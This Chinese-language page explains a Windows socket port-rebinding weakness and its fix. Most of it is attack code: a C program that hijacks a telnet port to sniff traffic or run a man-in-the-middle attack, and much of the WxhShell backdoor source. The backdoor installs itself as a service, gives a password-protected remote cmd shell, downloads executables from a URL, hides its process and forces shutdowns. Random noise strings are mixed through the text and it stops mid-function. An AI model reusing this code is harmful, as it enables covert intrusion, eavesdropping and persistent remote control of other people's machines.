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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y2-bU 7mo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Aa>gN S=p u saddr.sin_family = AF_INET; 7Ca\ (82 cEdJn@ , saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3.X0!M;x qJU)d bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); YSo7~^1W" qD*\}b]9I
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sK0VT"7K l7,qWSsnK 这意味着什么?意味着可以进行如下的攻击: Zk
UuniO uR@`T18 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V^I/nuy q}$=bR1+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9D{).f0 #@^w>D6W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gF6j6 lM^!^6=v0l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i@5%d!J /\cu!yiX 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]Cn*C{ [IFRwQ^%_O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;Ia1L{472m jHH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O/9%"m:i WG
!t!1p #include |HGb.^f? #include Us,[x Q #include |7zP8 #include _F@p53WE DWORD WINAPI ClientThread(LPVOID lpParam); "jO3Y/>S int main() 5jV97x)BGx { :IVMTdYf WORD wVersionRequested; Gr$*t,ZW DWORD ret; nFnF_ WSADATA wsaData; ~e77w\Q0 BOOL val; 07Q[L'}y@ SOCKADDR_IN saddr; t!~YO'<dS SOCKADDR_IN scaddr; ASZ5;N4u int err; ](>7h_2B SOCKET s; )]>G,.9C} SOCKET sc; QYfAf3te int caddsize; ~}-p5 q2 HANDLE mt; '0')6zW5s DWORD tid; c48J!,jCd' wVersionRequested = MAKEWORD( 2, 2 ); %;(|KrUN err = WSAStartup( wVersionRequested, &wsaData ); OI_/7@L if ( err != 0 ) { U@J/ printf("error!WSAStartup failed!\n"); BX(d"z b< return -1; }&T<wm! } Of7) A saddr.sin_family = AF_INET; I49l2> >'-w%H/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ix7
e])m( ]9&q'7*L saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YD46Z~$ saddr.sin_port = htons(23); _8b]o~[Z+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {IPn\Bka { MAe<.DHY printf("error!socket failed!\n"); `x$}~rP&)! return -1; x)VIA] } ;5Vk01R val = TRUE; +yb$[E* //SO_REUSEADDR选项就是可以实现端口重绑定的 8#]7`o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )xvx6?Ah| { ^UvK~5tBV printf("error!setsockopt failed!\n"); 9MB\z"b?A return -1; T]#,R|)d } zz 'dg-F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @SC-vc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _A,-[*OKI //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0^y@p&;/. O<dZA=Oez if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p~q_0Pg% { RUk<=!U ret=GetLastError(); #i +P(xV printf("error!bind failed!\n"); Qw<kX*fxrI return -1; [p W1=tI } ,/?%y\:J listen(s,2); "T{~,'T while(1) adO!Gs9f? { a\&(Ua caddsize = sizeof(scaddr); Ukx/jNyYv //接受连接请求 tC?Aso sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1( ?CNW[ if(sc!=INVALID_SOCKET) =WmBpUh { zh^jWu mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _7=pw5[ if(mt==NULL) iVKbGgA { QypiF*fSU printf("Thread Creat Failed!\n"); *{.&R9#7U' break; loeLj4"" } _)#=>$k\ } W"-EC`nP CloseHandle(mt); (I7&8$Zl } DO1 JPeIi closesocket(s); K/wiL69 WSACleanup(); X40la_[. return 0; hINnb7o } @cu}3> DWORD WINAPI ClientThread(LPVOID lpParam) ]@/^_f>D { ;WvYzd9 SOCKET ss = (SOCKET)lpParam; x0u?*5-t SOCKET sc; of+phMev unsigned char buf[4096]; &ppE|[{ SOCKADDR_IN saddr; m0I # long num; -B *<Q[_ DWORD val; XWUvP DWORD ret; ^<>Jw%H //如果是隐藏端口应用的话,可以在此处加一些判断 y\)G7
( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 us\%BxxI9 saddr.sin_family = AF_INET; _H4$$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 {O2B5u1 saddr.sin_port = htons(23); KH2F#[
!Lw if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lPRdwg- { h;EwkbDQg> printf("error!socket failed!\n"); nE]~E xr return -1; x2j/8]'o } (o x4K{ val = 100; X(r)Z\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *Z]5!$UpC { mJ8{lXq3! ret = GetLastError(); 'R4>CZ%jV return -1; 1Lm].tq } P"R97#C if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O)R7t3t { C.yY8?| ret = GetLastError(); `ICcaRIN8I return -1; "pSH!0Ap\ } r@*=|0(OrK if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,J~,ga~ { $6:XsrV\a printf("error!socket connect failed!\n"); wJ80};! closesocket(sc); !j!Z%]7 closesocket(ss); e9~cBG| return -1; ~K5Cr } r{K\(UT]! while(1) Bs+c2R { v>#Cg\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F=oHl@ //如果是嗅探内容的话,可以再此处进行内容分析和记录 [2GXAvXsT //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M1AZ}bc0] num = recv(ss,buf,4096,0); zW"~YaO%C if(num>0) @9OeC
O send(sc,buf,num,0); G 2% else if(num==0) o &BPG@n break; OW+ e_im} num = recv(sc,buf,4096,0); v}7@CP]nV if(num>0) [c&2i`C send(ss,buf,num,0); x @1px&^ else if(num==0) TK;\_yN break; RGT_}ni } 8w)e/*:j closesocket(ss); y#]}5gJ closesocket(sc); r?64!VS; return 0 ; Xtci0eS#V } K#GXpj |7rR99 P['X<Xt8 ========================================================== Bz~ -2#l 6RK ~Dl&g 下边附上一个代码,,WXhSHELL =E;=+eqt \e?.hmq ========================================================== 2Ryp@c&r^ uew0R;+oa #include "stdafx.h" ;EK(b Y.DwtfE #include <stdio.h> +VSZhg,Np8 #include <string.h> e{,!|LhpQ #include <windows.h> yJnPD/i #include <winsock2.h> .D+RLO z #include <winsvc.h> ^[ET&" #include <urlmon.h> ;LHDh_.pX pU
M&"V #pragma comment (lib, "Ws2_32.lib") VVs{l\$=ZV #pragma comment (lib, "urlmon.lib") `Jn,IDq %/P=m-K #define MAX_USER 100 // 最大客户端连接数 0;}Aj8Fle #define BUF_SOCK 200 // sock buffer ?sV[MsOsC #define KEY_BUFF 255 // 输入 buffer 6dF$?I& D~Z=0yD #define REBOOT 0 // 重启 [!^cd%l #define SHUTDOWN 1 // 关机 a*V9_Px$& D^|jZOJ #define DEF_PORT 5000 // 监听端口 Uf# PoQ!y 'KSa8;:=C #define REG_LEN 16 // 注册表键长度 .FuA;:@%\ #define SVC_LEN 80 // NT服务名长度 a lrt*V|= CNut{4 // 从dll定义API }.'Z=yy typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F#6cF=};@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DYX-5~;! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "hW(S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z,3 CC \ <lFdexH"T // wxhshell配置信息 ]x2Jpk99a struct WSCFG { 6A}eSG3 int ws_port; // 监听端口 !&W|myN^ char ws_passstr[REG_LEN]; // 口令 ~
9=27p int ws_autoins; // 安装标记, 1=yes 0=no 3Q",9(D char ws_regname[REG_LEN]; // 注册表键名 .%_)*NUZ char ws_svcname[REG_LEN]; // 服务名 4 &|C} char ws_svcdisp[SVC_LEN]; // 服务显示名 @\ }sb] char ws_svcdesc[SVC_LEN]; // 服务描述信息 TfL4_IAG. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X&s7%]n+ int ws_downexe; // 下载执行标记, 1=yes 0=no :ztyxJv1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" w5,6$# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RYt6=R+f J=):+F= }; }f0u5:;Zth JfkTw~'R // default Wxhshell configuration !#. \QU| struct WSCFG wscfg={DEF_PORT, q?yMa9ZZky "xuhuanlingzhe", WJAYM2
6\ 1, (Q'U@{s "Wxhshell", L7m`HVCt& "Wxhshell", JPLI
@zX^ "WxhShell Service", #'C/Gya "Wrsky Windows CmdShell Service", ~^x-ym5 "Please Input Your Password: ", )U'yUUi 1, IdF$Ml#[h " http://www.wrsky.com/wxhshell.exe", 4Hk6b09 "Wxhshell.exe" r
^MiRa }; y<|)'( h`lmC]X_ // 消息定义模块 JPsSw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *E}Oh char *msg_ws_prompt="\n\r? for help\n\r#>"; dQai4e>[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; [@<G+j char *msg_ws_ext="\n\rExit."; u%xDsTDP char *msg_ws_end="\n\rQuit."; U%q:^S%#eG char *msg_ws_boot="\n\rReboot..."; qL3@PSN?| char *msg_ws_poff="\n\rShutdown..."; Wk}D]o0^@ char *msg_ws_down="\n\rSave to "; O] H=s E`tQe5K char *msg_ws_err="\n\rErr!"; p'80d: char *msg_ws_ok="\n\rOK!"; 9
Va40X1 EMhr6</ char ExeFile[MAX_PATH]; TMww int nUser = 0; O4E(R?wd HANDLE handles[MAX_USER]; l~['[Ub0) int OsIsNt; YN^T$,* ?gN9kd) SERVICE_STATUS serviceStatus; R4SxFp SERVICE_STATUS_HANDLE hServiceStatusHandle; _jmkl
B "7d.i(vw // 函数声明 /1[gn8V691 int Install(void); 0V3gKd7 int Uninstall(void); EI\v int DownloadFile(char *sURL, SOCKET wsh); XCm\z9F int Boot(int flag); =-qf ;5[| void HideProc(void); q`[K3p
int GetOsVer(void); {y b D int Wxhshell(SOCKET wsl); q3)wr%!k5D void TalkWithClient(void *cs); ]H+{eJB7O int CmdShell(SOCKET sock); jN6b*-2
int StartFromService(void); Xem5@
(u int StartWxhshell(LPSTR lpCmdLine); H}
6CKP} qOi5WX6F/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,gmH2. VOID WINAPI NTServiceHandler( DWORD fdwControl ); )\0q_a J\{$ot // 数据结构和表定义 ib]vX- SERVICE_TABLE_ENTRY DispatchTable[] = (Xo SG { (]XbPW {wscfg.ws_svcname, NTServiceMain}, `L\)ahM {NULL, NULL} thptm }; GRIa8> uY;R8CiD // 自我安装 Fu%X int Install(void) ,1
P[ { 5B{k\H; char svExeFile[MAX_PATH]; l4 "\) ]; HKEY key; Qci$YTwl> strcpy(svExeFile,ExeFile); jTfi@5aPY o%`npi1y // 如果是win9x系统,修改注册表设为自启动 VgMP^&/gZ if(!OsIsNt) { |1l&@#j!2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %2D17*eK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mlj#b8 RegCloseKey(key); ?/'}JS(Sm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .*!#98pT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9afh[3qm RegCloseKey(key); Me/\z^pF return 0; ax_YKJ5#P } \QT9HAdd@ } 9cfR)*Q } [@3SfQ else { "OL~ul5 b+@D_E-RJ // 如果是NT以上系统,安装为系统服务 IqUp4} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z>2]Xx%
\ if (schSCManager!=0) 94{)"w] { XV=S) SC_HANDLE schService = CreateService 7Ms90oE/c ( 2]2H++ schSCManager, 8a>SC$8" wscfg.ws_svcname, hH`Jb77L wscfg.ws_svcdisp, @o#+5P SERVICE_ALL_ACCESS, FZXyfZw!| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
OJ/SYZ.r SERVICE_AUTO_START, {155b0 SERVICE_ERROR_NORMAL, -=)-s m' svExeFile, q8sbn NULL, ,[`$JNc NULL, S0LszW)e NULL, RtC'v";6 NULL, [M:S`{SbY NULL g19S ); #3 bv3m if (schService!=0) ?z=\Ye5x { U=cWmH CloseServiceHandle(schService); QU/3X 1W CloseServiceHandle(schSCManager); a2yE:16o6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (Z-l/)Q strcat(svExeFile,wscfg.ws_svcname); OOB^gf}$' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y)M8zi>b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T'1gy} RegCloseKey(key); `FJ|W6% return 0; {Q~7M$ } aFY u}kl } KG8W8&q CloseServiceHandle(schSCManager); fg&eoI'f } u9]1X1wV } &?+WXL> T2weAk#J return 1; 4o5i ."l } }
`T8A vM`~)rO@! // 自我卸载 )a cV-+{ int Uninstall(void) [X/(D9J { tln1eN((q HKEY key; 6OB" , M"U OgS if(!OsIsNt) { 6>DLp}d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qhy#r RegDeleteValue(key,wscfg.ws_regname); rLF*DB3l RegCloseKey(key); =;{^"#r\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r{[OJc! RegDeleteValue(key,wscfg.ws_regname); n &}s-`D
RegCloseKey(key); s[AA7>]3 return 0; M{Gxjmdx } sLns3&n2 } o8z)nOTO; } 3nFt1E
else { EJm4xkYLj1 )q3"t2- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v01#>,R if (schSCManager!=0) Q$a { ^8K/xo- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k+1gQru{d if (schService!=0) t;47(U { #C*&R>IvY if(DeleteService(schService)!=0) { C_->u4- CloseServiceHandle(schService); S%l:kKD CloseServiceHandle(schSCManager); R1%y]]*-P return 0; >ttuum12w } Acu@[I^ CloseServiceHandle(schService); yn~P{}68 } 1`-r#-MGG CloseServiceHandle(schSCManager); u^4h&fL } lTz6"/ } vV^dm)? Dp!zk}f| return 1; {gU&%j } &erm`Ho DDw'' // 从指定url下载文件 (-"`,8K 2} int DownloadFile(char *sURL, SOCKET wsh) pbn\9C/ { y=H@6$2EQ HRESULT hr; Rs7|}Dl} char seps[]= "/"; !buz<h char *token; N.hzKq][ char *file; W3JF5* char myURL[MAX_PATH]; .zC*Z&e,.[ char myFILE[MAX_PATH]; A';QuWdT {p/YCch, strcpy(myURL,sURL); \:&@;!a token=strtok(myURL,seps); A3+6#?:; while(token!=NULL) $s gH'/> { T+CajSV file=token; /Ox)|)l token=strtok(NULL,seps); G]*|H0j } 1;wb(DN*c m,tXE%l GetCurrentDirectory(MAX_PATH,myFILE); 7NF/]y4w strcat(myFILE, "\\"); J?Iq9f strcat(myFILE, file); L`3n2DEBf send(wsh,myFILE,strlen(myFILE),0); `&*bM0(J send(wsh,"...",3,0); wk[
wNIu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :&yDqoQKJ if(hr==S_OK) ^:cRp9l"7 return 0; -cfx2;68 else MCYl{uH! return 1; %Fft
R1" _T*AC. } LP<<'(l` |t6~%6^8 // 系统电源模块 oH-8r:{ int Boot(int flag) 9l
!S9d { C}"@RHEu HANDLE hToken; ?<~WO? TOKEN_PRIVILEGES tkp; MCnN^ $0qMQ%P if(OsIsNt) { =NDOS{($ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pP.'wSj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DW2>&| tkp.PrivilegeCount = 1; Mv|!2 [: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '`l K'5; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &jf7k
<^ if(flag==REBOOT) { )=_ycf^MC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y&f\VNlT return 0; 6|=j+rScv } ];FtS>\x else { %ROwr[Dj= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ijW7c+yd return 0; ' 4O- } PK:2xN:= } w^;DG else { o`? zF+M0 if(flag==REBOOT) { OJ3UE(,I= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .eF_cD7v return 0; EHI 'xt } vsMmCd)7U else { (^: p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2@Lbfo A return 0; y4jU{, } 8 ws$k\> } 92[a;a qL
5>o>J return 1; v 1+U;Th>g } $3;Upgv G|4^_`- // win9x进程隐藏模块 G+WM`:v8% void HideProc(void) >l5u54^3K { I1=(. *B} ;=~Xr"(/z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k1}hIAk3u if ( hKernel != NULL ) 2<r\/-#pU { 9- )qZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @*O?6> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yoS? s FreeLibrary(hKernel); K*vU5S } $8=@R' wk$,k return; (! KG)! } ;ojiJ?jU Qvqqvk_tv // 获取操作系统版本 `
\ZqgX4 int GetOsVer(void) iHBB,x { 74J@F2g}? OSVERSIONINFO winfo; "/+zMLY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qn+:/zA; GetVersionEx(&winfo); b2)\
MNH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K1q+~4>\| return 1; <$i4?)f( else < bUe/m return 0; ,+1m`9} } X.#oEmA,P ;L"!I3dM) // 客户端句柄模块
}31ZX int Wxhshell(SOCKET wsl) &m'kI { zG9|K SOCKET wsh; ?IhB-fd>@ struct sockaddr_in client; Sc$UZ/qPT DWORD myID; ";NRzY -$-8W while(nUser<MAX_USER) ~~qWI>.4 { Pqp * int nSize=sizeof(client); w"zE_9I\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q!'qC*Gyfn if(wsh==INVALID_SOCKET) return 1; Ew,T 5GG fZN><3MO> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uzU{z; if(handles[nUser]==0) Z"v<0]rN closesocket(wsh); C/@LZ OEL else fi%r<]@ nUser++; p{tK_ZBy]c } %s=Dj2+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #I0pYA2m jAhP>
t: return 0; B6M+mx"G } e XV@. \k@$~}xD, // 关闭 socket *75YGD void CloseIt(SOCKET wsh) ?dq#e9 { |+f-h, closesocket(wsh); P,z:Z|}8 nUser--; _elX<o4 ExitThread(0); x\\7G^$<h } 1|| nR4yK A o/vp-e // 客户端请求句柄 D4Nu8Wr$ void TalkWithClient(void *cs) e x?v
`9 { $P {K2"Oc ]\c,BWC@e SOCKET wsh=(SOCKET)cs; \vbk#G
hH char pwd[SVC_LEN]; F:g= i}7 char cmd[KEY_BUFF]; ff2d@P,! char chr[1]; %,V
YiW0 int i,j; E`;;&V q- 5J.0&Dda while (nUser < MAX_USER) { )e%}b-I'r !]koSw} if(wscfg.ws_passstr) { @F5f"8!.\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {7"0,2 Hb? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t#wmAOW //ZeroMemory(pwd,KEY_BUFF); yI;"9G i=0; "VUYh$=[ while(i<SVC_LEN) { [0@`wZ ! fl4" // 设置超时 dF@)M fd_set FdRead; +}kgQ^ struct timeval TimeOut; k2^ a$k} FD_ZERO(&FdRead); j;nb?; FD_SET(wsh,&FdRead); ;`j/D@H TimeOut.tv_sec=8; [xlIG}e9 TimeOut.tv_usec=0; 1y"3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Z,q$Gp~P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l*
dV\ B vZAv_8S) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O[q\ e<V< pwd =chr[0]; VG@};dwbz* if(chr[0]==0xd || chr[0]==0xa) { 6[P-Ny{z pwd=0; 6^F'|Wh break; q!lP"J } P,xwSvO#M i++; '+y_\ } wa09$4>_w 4B[D/kIg // 如果是非法用户,关闭 socket E1V^}dn if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J%rP$O$ } XEH}4;C'{ rNN
j0zw> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uGH?N send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LF<wt2?* -_A$DM!^=w while(1) { \Ad7
G i~ t%VDRZo7 ZeroMemory(cmd,KEY_BUFF); ]`o!1( GA Ud%s^A-qS // 自动支持客户端 telnet标准 =\kMXB j=0; {3\R|tZh,` while(j<KEY_BUFF) { wxQ>ifi9Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /BA{O&Ro^ cmd[j]=chr[0]; al^!,ykc if(chr[0]==0xa || chr[0]==0xd) { x_w~G]! / cmd[j]=0; 0BU=)Swku break; ja=w5 } Qs 2.ef? j++; <,@%*G1- } #J\rv' *|:Q%xr- // 下载文件 #KpY6M-H if(strstr(cmd,"http://")) { eny/
fm send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ve 3 ; if(DownloadFile(cmd,wsh)) n(ir[w#,]" send(wsh,msg_ws_err,strlen(msg_ws_err),0); EMvHFu
else ,XKCz ]8V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sH#X0fG } B|Wk?w.{r\ else { : 3ZYJW1 b'p4wE> switch(cmd[0]) { "jg@w%~ +b$S~0n
// 帮助 47By`Jh71 case '?': { T2'RATfG send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1+kE!2b;b break; mqtg[~dNc } s}5+3f$f // 安装 uXZg1F) case 'i': { [3/VCYje if(Install()) ]wn/BG) send(wsh,msg_ws_err,strlen(msg_ws_err),0); N;sm*+r else cD}Sf> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W#F Q,+0) break; r`'y?Bra; } R=)55qu // 卸载 wD\ZOn_J case 'r': { f>9s!Hpu_ if(Uninstall()) ??qq: `s send(wsh,msg_ws_err,strlen(msg_ws_err),0); k) \gWPH else %CnxjtTo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OEhHR break; @\P4/+"9 } y*b3&%.ml // 显示 wxhshell 所在路径 ;iYff N case 'p': { u0s8yPA char svExeFile[MAX_PATH]; T/r#H__` strcpy(svExeFile,"\n\r"); p]G3)s@> strcat(svExeFile,ExeFile); JgRYljQi2 send(wsh,svExeFile,strlen(svExeFile),0); G 7LIdn= break; ]2SF9p_ } \fWW' // 重启 'cZN{ZMWG case 'b': { 4\otq%Y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "h"NW[R if(Boot(REBOOT)) T<b+s#n4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); []kN16F else { AIijCL closesocket(wsh); n| !@1sd ExitThread(0); !vD{Df> } I~*
? d break; `RRE(SiKU } R=j% S! // 关机 BHFY%6J! case 'd': { }CGSEr4'w~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cr ?4Ngw if(Boot(SHUTDOWN)) "hz\Z0zg2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Gp*x\<^Z else { JC?N_kP%W closesocket(wsh); ^]C&tG0 ! ExitThread(0); RD,5AShP } qPGuo5^ break; xJ8%<RR!t } X|LxV] // 获取shell ;QCrHqRT` case 's': { _banp0ywS CmdShell(wsh); W;6vpPhg#! closesocket(wsh); ]bdFr/!'S+ ExitThread(0); "`Ge~N[$A break; @Yw,nQE)b } `YBkF // 退出 Y4.Eq+$gh case 'x': { GwU?wIIj^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9O*_L:4o CloseIt(wsh); 8|?LN8rp break; &^&zR(o` } +UN <Zp7I/ // 离开 ,3i,P(?( case 'q': { Y.#:HRtgW send(wsh,msg_ws_end,strlen(msg_ws_end),0); p,g1eb|E closesocket(wsh); ^L4Qbc(vJ WSACleanup(); a,t``'c; exit(1); ,"0)6=AE break; >gll-&;t } nz.{P@[Qk } ^D^JzEy'?C } $
<8~k^ OFkNl}D // 提示信息 YcX/{L[9o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Y 9SngxM } V%0I%\0Y } IeX^4rc( G9P!_72 return; '\#EIG } ?L)
!pP] RkEN
,xWE // shell模块句柄 gR^>3n' int CmdShell(SOCKET sock) ~ (On|h { LjFqZrH STARTUPINFO si; t`'iU$:1f ZeroMemory(&si,sizeof(si)); 4\ c,)U} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; owpWz6k7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E\8 PROCESS_INFORMATION ProcessInfo; b,TiMf9},h char cmdline[]="cmd"; 1SIq[1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r,P1^ uHx return 0; LA3<=R] } )D-c]+yt _?voU // 自身启动模式 <|Yj%f int StartFromService(void) qZEoiNH(Tj { M6r^L6$N typedef struct <+#oBN { kUx&pYv DWORD ExitStatus; 4M&`$Wim DWORD PebBaseAddress; ZSy?T DWORD AffinityMask; ''OfS D_g DWORD BasePriority; 2?C`4AR[2H ULONG UniqueProcessId; 3VnQnd E ULONG InheritedFromUniqueProcessId; |%a4`w } PROCESS_BASIC_INFORMATION; /Ss7"*JLe %h"z0@+ PROCNTQSIP NtQueryInformationProcess; d'6|: z9c ^vs=f95 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yqXH:757~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \'CN DmVP HANDLE hProcess; GV6K/T: PROCESS_BASIC_INFORMATION pbi; p}b/XnV$~ pg+[y<B HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wu9=N
